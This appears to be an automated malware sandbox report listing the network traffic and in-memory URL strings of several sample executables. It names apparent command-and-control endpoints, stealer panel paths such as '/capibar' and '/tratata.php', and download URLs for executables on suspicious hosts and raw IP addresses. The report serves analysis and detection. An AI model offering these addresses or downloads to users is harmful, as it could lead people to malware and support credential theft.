Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tkeghqsng.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 156Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytools-foryou-777.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gjygx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 117Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kfxca.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 358Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ryipue.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 117Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vukwltcu.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 122Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lnwhd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 260Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://whpernmmb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 276Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rwwaasnsg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 277Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://weeyh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 247Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jpkelrew.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 342Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hlqcmdcx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 149Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lpxlc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 276Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://imhlo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 147Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://eaidisso.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 233Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yacyom.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 204Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ebhyi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 345Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jtcndb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 344Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vdbegiq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 228Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://eoepn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 146Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jrhtrk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 248Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jwibqkk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 355Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xnipfqvpe.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 354Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/2264_1640622147_2258.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yifcjya.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 123Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rxxfahr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 279Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vfpht.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 234Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://adqghmyhj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 129Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hujcrsouk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 126Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mketq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 347Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nlilrsybs.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 359Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mpbvjio.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 229Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yqtmbdjjxy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 318Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /stlr/maps.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 91.243.44.128
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://igwdjt.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 251Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xmhrnshbsf.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 119Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tmtvrgtd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 123Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mnjhltsqk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 288Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://npiwsugx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 154Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xqkct.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 331Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://awejs.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 317Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hxmnbo.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 181Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jjctmvu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 270Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ikexxrgenj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 111Host: host-data-coin-11.com

Source: global traffic	TCP traffic: 192.168.2.3:49793 -> 185.7.214.171:8080
Source: global traffic	TCP traffic: 192.168.2.3:49835 -> 86.107.197.138:38133

Source: 8CA5.exe, 00000025.00000002.526471629.000000000069D000.00000004.00000020.sdmp	String found in binary or memory: http://185.7.214.239/POeNDXYchB.php
Source: 8CA5.exe, 00000025.00000002.526471629.000000000069D000.00000004.00000020.sdmp	String found in binary or memory: http://185.7.214.239/sqlite3.dll
Source: 7728.exe, 00000023.00000002.577125327.0000000002861000.00000004.00000001.sdmp	String found in binary or memory: http://194.180.174.41/
Source: 7728.exe, 00000023.00000002.574917027.0000000000C96000.00000004.00000001.sdmp	String found in binary or memory: http://194.180.174.41/capibar
Source: 7728.exe, 00000023.00000002.577288103.000000000287A000.00000004.00000001.sdmp	String found in binary or memory: http://194.180.174.41:80/capibar
Source: 7728.exe, 00000023.00000002.574917027.0000000000C96000.00000004.00000001.sdmp	String found in binary or memory: http://194.180.174.53/capibar
Source: 7728.exe, 00000023.00000002.577288103.000000000287A000.00000004.00000001.sdmp	String found in binary or memory: http://194.180.174.53:80/capibar
Source: 7728.exe, 00000023.00000002.577012265.000000000284D000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.148/
Source: 7728.exe, 00000023.00000002.577012265.000000000284D000.00000004.00000001.sdmp, 7728.exe, 00000023.00000002.576965645.0000000002848000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.148/capibar
Source: 7728.exe, 00000023.00000002.577012265.000000000284D000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.148/l
Source: 7728.exe, 00000023.00000002.577288103.000000000287A000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.148:80/capibarA
Source: 7728.exe, 00000023.00000002.577288103.000000000287A000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.148:80/capibarb
Source: 7728.exe, 00000023.00000002.574917027.0000000000C96000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.18/capibar
Source: 7728.exe, 00000023.00000002.577012265.000000000284D000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.18/capibarll
Source: 7728.exe, 00000023.00000002.577288103.000000000287A000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.18:80/capibar
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeInstaller.exe
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe
Source: 4D1A.exe, 00000019.00000002.441039139.000000000081B000.00000004.00000001.sdmp	String found in binary or memory: http://file-file-host4.com/sqlite3.dll
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: http://file-file-host4.com/tratata.php
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://forms.rea
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://forms.real.com/real/realone/download.html?type=rpsp_us
Source: AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://go.micros
Source: 8CA5.exe, 00000025.00000002.526471629.000000000069D000.00000004.00000020.sdmp	String found in binary or memory: http://hos.7.214.239/POeNDXYchB.php
Source: 4D1A.exe, 00000019.00000002.441039139.000000000081B000.00000004.00000001.sdmp	String found in binary or memory: http://hose-file-host4.com/tratata.php
Source: AppLaunch.exe, 0000002A.00000002.575983588.000000000532C000.00000004.00000001.sdmp	String found in binary or memory: http://iptc.tc4xmp.
Source: AppLaunch.exe, 0000002A.00000002.575983588.000000000532C000.00000004.00000001.sdmp	String found in binary or memory: http://ns.ado/Ident
